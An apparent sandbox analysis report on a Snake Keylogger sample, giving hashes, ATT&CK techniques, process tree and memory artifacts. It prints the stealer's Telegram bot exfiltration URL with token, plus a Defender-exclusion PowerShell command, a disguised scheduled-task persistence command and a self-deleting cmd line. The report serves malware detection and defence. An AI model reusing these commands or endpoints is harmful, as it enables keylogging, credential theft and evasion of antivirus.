snakekeylogger | 4179ed7da1bcadc909d949d5721807d0eb0098375bc443f22fb70609927d254e

Analysis

max time kernel
135s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02/01/2025, 19:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

592KB
MD5

67b58449b42453f18e51b2bf786f9588
SHA1

9259537c4caa90a7b32c1370af18d40b2f24d0c9
SHA256

4179ed7da1bcadc909d949d5721807d0eb0098375bc443f22fb70609927d254e
SHA512

27e83950d69d143cb3416ab40706d086424e1339d185c4571ed46a234e2eff9c0717d5a5defc45d5356ac56109b152010cf4ad536d66ea2d5fdd9a4cc8197453
SSDEEP

12288:6BT255OHTDPk/2BwKw7vsr2L4gO2E2RlAS+W3QapwLDuCNTkR:m2XOPkOGBg2bt1r6a1qLDNG

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7822875840:AAE1dEB39_r2yuQHwPOz--iI8ECcmIivnQs/sendMessage?chat_id=7342994424

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4780-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3392	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	file.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	checkip.dyndns.org
24	reallyfreegeoip.org
25	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3680 set thread context of 4780	3680	file.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2260	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3680	file.exe
3392	powershell.exe
3680	file.exe
3392	powershell.exe
4780	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	file.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	4780	RegSvcs.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 3392	3680	file.exe	91
PID 3680 wrote to memory of 3392	3680	file.exe	91
PID 3680 wrote to memory of 3392	3680	file.exe	91
PID 3680 wrote to memory of 2260	3680	file.exe	93
PID 3680 wrote to memory of 2260	3680	file.exe	93
PID 3680 wrote to memory of 2260	3680	file.exe	93
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 3680 wrote to memory of 4780	3680	file.exe	95
PID 4780 wrote to memory of 1408	4780	RegSvcs.exe	96
PID 4780 wrote to memory of 1408	4780	RegSvcs.exe	96
PID 4780 wrote to memory of 1408	4780	RegSvcs.exe	96
PID 1408 wrote to memory of 4140	1408	cmd.exe	98
PID 1408 wrote to memory of 4140	1408	cmd.exe	98
PID 1408 wrote to memory of 4140	1408	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\djqdPdQRO.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\djqdPdQRO" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2CA.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2260
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:4140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f02erzbg.2ev.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2CA.tmp

Filesize
1KB

MD5
0cfd4185fb9852b3faa0c0b7330f9f78

SHA1
3381a59a23acb5989955d39cb31d5c7da63f135e

SHA256
e9ccf67ca984ec4da4a592d4e84bb952567b6a99830b6b0283bc7a06febd7c64

SHA512
196b022a316a0248b3b4309bee0dcf164dfd58a4bbc7f2f11f2fb857ebc690a429d0958ceecd456e4315749725aef9509c8706e584a7df8ddd36fe58e6dbb43b

Download Submit
memory/3392-55-0x0000000007890000-0x0000000007F0A000-memory.dmp

Filesize
6.5MB

Download
memory/3392-23-0x00000000057C0000-0x0000000005826000-memory.dmp

Filesize
408KB

Download
memory/3392-66-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3392-63-0x0000000007570000-0x0000000007578000-memory.dmp

Filesize
32KB

Download
memory/3392-62-0x0000000007590000-0x00000000075AA000-memory.dmp

Filesize
104KB

Download
memory/3392-61-0x0000000007490000-0x00000000074A4000-memory.dmp

Filesize
80KB

Download
memory/3392-60-0x0000000007480000-0x000000000748E000-memory.dmp

Filesize
56KB

Download
memory/3392-59-0x0000000007450000-0x0000000007461000-memory.dmp

Filesize
68KB

Download
memory/3392-58-0x00000000074D0000-0x0000000007566000-memory.dmp

Filesize
600KB

Download
memory/3392-57-0x00000000072C0000-0x00000000072CA000-memory.dmp

Filesize
40KB

Download
memory/3392-56-0x0000000007250000-0x000000000726A000-memory.dmp

Filesize
104KB

Download
memory/3392-17-0x0000000002620000-0x0000000002656000-memory.dmp

Filesize
216KB

Download
memory/3392-18-0x0000000005120000-0x0000000005748000-memory.dmp

Filesize
6.2MB

Download
memory/3392-19-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3392-54-0x0000000006F10000-0x0000000006FB3000-memory.dmp

Filesize
652KB

Download
memory/3392-20-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3392-22-0x0000000004E70000-0x0000000004E92000-memory.dmp

Filesize
136KB

Download
memory/3392-43-0x0000000075860000-0x00000000758AC000-memory.dmp

Filesize
304KB

Download
memory/3392-26-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3392-53-0x00000000064F0000-0x000000000650E000-memory.dmp

Filesize
120KB

Download
memory/3392-42-0x0000000006ED0000-0x0000000006F02000-memory.dmp

Filesize
200KB

Download
memory/3392-27-0x0000000005950000-0x0000000005CA4000-memory.dmp

Filesize
3.3MB

Download
memory/3392-24-0x00000000058E0000-0x0000000005946000-memory.dmp

Filesize
408KB

Download
memory/3392-41-0x0000000006180000-0x00000000061CC000-memory.dmp

Filesize
304KB

Download
memory/3392-40-0x0000000005F10000-0x0000000005F2E000-memory.dmp

Filesize
120KB

Download
memory/3680-10-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3680-9-0x0000000074FEE000-0x0000000074FEF000-memory.dmp

Filesize
4KB

Download
memory/3680-11-0x0000000007DB0000-0x0000000007E1C000-memory.dmp

Filesize
432KB

Download
memory/3680-4-0x0000000004EE0000-0x0000000004F56000-memory.dmp

Filesize
472KB

Download
memory/3680-1-0x00000000003A0000-0x0000000000438000-memory.dmp

Filesize
608KB

Download
memory/3680-2-0x00000000053F0000-0x0000000005994000-memory.dmp

Filesize
5.6MB

Download
memory/3680-0-0x0000000074FEE000-0x0000000074FEF000-memory.dmp

Filesize
4KB

Download
memory/3680-6-0x0000000005050000-0x000000000505A000-memory.dmp

Filesize
40KB

Download
memory/3680-39-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/3680-12-0x000000000A650000-0x000000000A6EC000-memory.dmp

Filesize
624KB

Download
memory/3680-3-0x0000000004E40000-0x0000000004ED2000-memory.dmp

Filesize
584KB

Download
memory/3680-8-0x0000000005380000-0x000000000539E000-memory.dmp

Filesize
120KB

Download
memory/3680-7-0x0000000005300000-0x0000000005318000-memory.dmp

Filesize
96KB

Download
memory/3680-5-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/4780-38-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/4780-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/4780-68-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download
memory/4780-69-0x0000000074FE0000-0x0000000075790000-memory.dmp

Filesize
7.7MB

Download